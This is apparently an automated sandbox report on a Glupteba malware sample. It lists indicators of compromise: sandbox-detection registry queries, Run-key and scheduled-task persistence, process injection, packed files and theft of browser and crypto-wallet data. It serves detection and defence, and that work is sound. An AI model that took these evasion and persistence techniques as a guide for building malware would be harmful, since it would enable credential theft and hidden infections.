glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sm9PYHfj18WU6helQ6bqJ_DZ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sm9PYHfj18WU6helQ6bqJ_DZ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c409rj8kKbKeohTs9uNyUmMF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c409rj8kKbKeohTs9uNyUmMF.exe

Loads dropped DLL 9 IoCs

pid	Process
3440	yS9T56oZWXoqJTlZbDPY26ud.tmp
3440	yS9T56oZWXoqJTlZbDPY26ud.tmp
4420	rundll32.exe
3952	stats.tmp
3952	stats.tmp
3652	9840432e051a6fa1192594db02b80a4c1fd73456.exe
7472	rundll32.exe
8612	BZeU4lMhFfx5qWOcPl9fP7gF.tmp
8612	BZeU4lMhFfx5qWOcPl9fP7gF.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x000100000002b1fb-181.dat	themida
behavioral1/files/0x000100000002b208-196.dat	themida
behavioral1/files/0x000100000002b208-229.dat	themida
behavioral1/files/0x000100000002b1fb-235.dat	themida
behavioral1/memory/5032-301-0x0000000000A00000-0x0000000000A01000-memory.dmp	themida
behavioral1/memory/4768-300-0x0000000000600000-0x0000000000601000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	7noQoxsVgLBBtgcZWelnZEHN.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	tmpE88C_tmp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	tmpE88C_tmp.exe
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_5EFC0ECB77A7585FE9DCDD0B2E946A2B = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window /prefetch:5"	msedge.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 5 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	md8_8eus.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	c409rj8kKbKeohTs9uNyUmMF.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	sm9PYHfj18WU6helQ6bqJ_DZ.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 12 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
415	ipinfo.io
25	ipinfo.io
28	ipinfo.io
93	ipinfo.io
114	ipinfo.io
154	ipinfo.io
257	ipinfo.io
1	ipinfo.io
1	ip-api.com
22	ipinfo.io
85	ipinfo.io
462	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4768	sm9PYHfj18WU6helQ6bqJ_DZ.exe
5032	T1vR4WrDcDSogjCwBQvMGbKr.exe
8828	T1vR4WrDcDSogjCwBQvMGbKr.exe
6596	c409rj8kKbKeohTs9uNyUmMF.exe

Suspicious use of SetThreadContext 64 IoCs

description	pid	Process	procid_target
PID 3688 set thread context of 648	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	139
PID 3636 set thread context of 1132	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	138
PID 1852 set thread context of 3128	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	136
PID 3688 set thread context of 448	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	141
PID 3636 set thread context of 3504	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	143
PID 1852 set thread context of 2788	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	148
PID 3688 set thread context of 2512	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	161
PID 3636 set thread context of 5148	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	162
PID 1852 set thread context of 5432	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	166
PID 3688 set thread context of 6116	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	171
PID 3636 set thread context of 6136	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	170
PID 3688 set thread context of 1272	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	180
PID 1852 set thread context of 5304	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	181
PID 3636 set thread context of 5272	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	182
PID 3636 set thread context of 1528	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	196
PID 1852 set thread context of 852	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	185
PID 1852 set thread context of 1784	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	205
PID 1852 set thread context of 496	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	208
PID 3688 set thread context of 4788	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	203
PID 3636 set thread context of 3332	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	211
PID 1852 set thread context of 2796	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	215
PID 3636 set thread context of 4808	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	216
PID 3636 set thread context of 6776	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	223
PID 3688 set thread context of 6996	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	225
PID 3636 set thread context of 6428	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	229
PID 1852 set thread context of 6788	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	236
PID 1852 set thread context of 3060	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	246
PID 3688 set thread context of 6584	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	247
PID 2376 set thread context of 7456	2376	xsX_K9gzdoPQHq2lB6Th8U3h.exe	526
PID 3636 set thread context of 4252	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	245
PID 1852 set thread context of 7588	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	255
PID 3688 set thread context of 7832	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	256
PID 1852 set thread context of 4956	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	262
PID 3636 set thread context of 4664	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	260
PID 3688 set thread context of 7496	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	263
PID 1852 set thread context of 8052	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	270
PID 3636 set thread context of 2752	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	272
PID 3688 set thread context of 6540	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	274
PID 1852 set thread context of 6588	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	275
PID 3636 set thread context of 3224	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	278
PID 1852 set thread context of 7348	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	279
PID 3688 set thread context of 7764	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	280
PID 3636 set thread context of 5244	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	282
PID 1852 set thread context of 5592	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	285
PID 3688 set thread context of 5848	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	284
PID 3636 set thread context of 7384	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	288
PID 1852 set thread context of 8600	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	296
PID 3688 set thread context of 8444	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	299
PID 3636 set thread context of 8728	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	294
PID 1852 set thread context of 9100	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	304
PID 3636 set thread context of 8260	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	307
PID 3688 set thread context of 8320	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	306
PID 3688 set thread context of 4036	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	338
PID 1852 set thread context of 6676	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	339
PID 3636 set thread context of 7016	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	340
PID 8584 set thread context of 6860	8584	R0kz5guTQzQNUqWyhke1mfl2.exe	354
PID 3636 set thread context of 9976	3636	T1vR4WrDcDSogjCwBQvMGbKr.exe	349
PID 1852 set thread context of 9936	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	350
PID 8584 set thread context of 10040	8584	R0kz5guTQzQNUqWyhke1mfl2.exe	358
PID 3688 set thread context of 7808	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	359
PID 1852 set thread context of 9724	1852	s6XkU3VdWErp3FIa9CIA2Ojx.exe	368
PID 8996 set thread context of 9544	8996	j72EqaYhaMeOLfe3GevMFiuo.exe	376
PID 8584 set thread context of 9876	8584	R0kz5guTQzQNUqWyhke1mfl2.exe	365
PID 3688 set thread context of 7916	3688	7noQoxsVgLBBtgcZWelnZEHN.exe	364

Drops file in Program Files directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	7noQoxsVgLBBtgcZWelnZEHN.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	zApzBnKRXUszDR05xqhPHZm2.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Gn6IQGGC247F9azIFetpAORy.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	zApzBnKRXUszDR05xqhPHZm2.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe	Setup.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	T1vR4WrDcDSogjCwBQvMGbKr.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	7noQoxsVgLBBtgcZWelnZEHN.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	7noQoxsVgLBBtgcZWelnZEHN.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	7noQoxsVgLBBtgcZWelnZEHN.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	7noQoxsVgLBBtgcZWelnZEHN.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Gn6IQGGC247F9azIFetpAORy.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.exe	Setup.exe
File created	C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.ini	Setup.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	T1vR4WrDcDSogjCwBQvMGbKr.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 64 IoCs

pid	pid_target	Process	procid_target
4064	1472	WerFault.exe	84
1656	1312	WerFault.exe	81
2412	4496	WerFault.exe	106
4980	1412	WerFault.exe	83
5400	2036	WerFault.exe	85
3692	1880	WerFault.exe	90
1160	4420	WerFault.exe	190
5996	5592	WerFault.exe	183
7384	7472	WerFault.exe	264
6612	3664	WerFault.exe	142
3188	3228	WerFault.exe	145
9040	5816	WerFault.exe	173
4972	5296	WerFault.exe	165
8608	5296	WerFault.exe	165
9512	8844	WerFault.exe	317
10192	8672	WerFault.exe	313
10084	8812	WerFault.exe	312
8720	9428	WerFault.exe	378
9288	6892	WerFault.exe	224
9672	7096	WerFault.exe	227
5584	7096	WerFault.exe	227
4292	1300	WerFault.exe	400
5912	6912	WerFault.exe	233
9696	7044	WerFault.exe	234
6816	8720	WerFault.exe	472
3940	7260	WerFault.exe	466
6168	7152	WerFault.exe	523
4264	6020	WerFault.exe	395
4876	8896	WerFault.exe	393
32	8048	WerFault.exe	411
5668	9960	WerFault.exe	557
2844	9412	WerFault.exe	585
5280	7664	WerFault.exe	598
5236	9432	WerFault.exe	627
2900	8124	WerFault.exe	628
3988	424	WerFault.exe	669
2856	8912	WerFault.exe	700
7380	4992	WerFault.exe	707
9908	1248	WerFault.exe	759
8936	8228	WerFault.exe	761
8468	4880	WerFault.exe	763
2168	828	WerFault.exe	776
10808	10704	WerFault.exe	814
12364	12552	WerFault.exe	867
12928	12832	WerFault.exe	878
12184	6768	WerFault.exe	938
12240	11416	WerFault.exe	1013
10272	11424	WerFault.exe	1018
14276	4648	WerFault.exe	1075
13720	13440	WerFault.exe	1094
14340	15724	Process not Found	1201
5880	16832	Process not Found	1229
14764	16692	Process not Found	1243
14604	14584	Process not Found	1275
20616	1888	Process not Found	199
18592	30020	Process not Found	1447
18368	16876	Process not Found	1471
25504	23476	Process not Found	1505
33308	24672	Process not Found	1655
30892	24968	Process not Found	1360
31708	17972	Process not Found	1294
27248	26348	Process not Found	1662
26840	7724	Process not Found	721
29608	17952	Process not Found	1520

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	j72EqaYhaMeOLfe3GevMFiuo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	j72EqaYhaMeOLfe3GevMFiuo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	j72EqaYhaMeOLfe3GevMFiuo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	j72EqaYhaMeOLfe3GevMFiuo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	j72EqaYhaMeOLfe3GevMFiuo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4536	schtasks.exe
2848	schtasks.exe
2216	schtasks.exe
6080	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
5280	timeout.exe
6560	timeout.exe
9872	timeout.exe

Enumerates system info in registry 2 TTPs 35 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	j72EqaYhaMeOLfe3GevMFiuo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	j72EqaYhaMeOLfe3GevMFiuo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	T1vR4WrDcDSogjCwBQvMGbKr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	T1vR4WrDcDSogjCwBQvMGbKr.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2156	taskkill.exe
5548	taskkill.exe
9112	taskkill.exe
4892	taskkill.exe

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
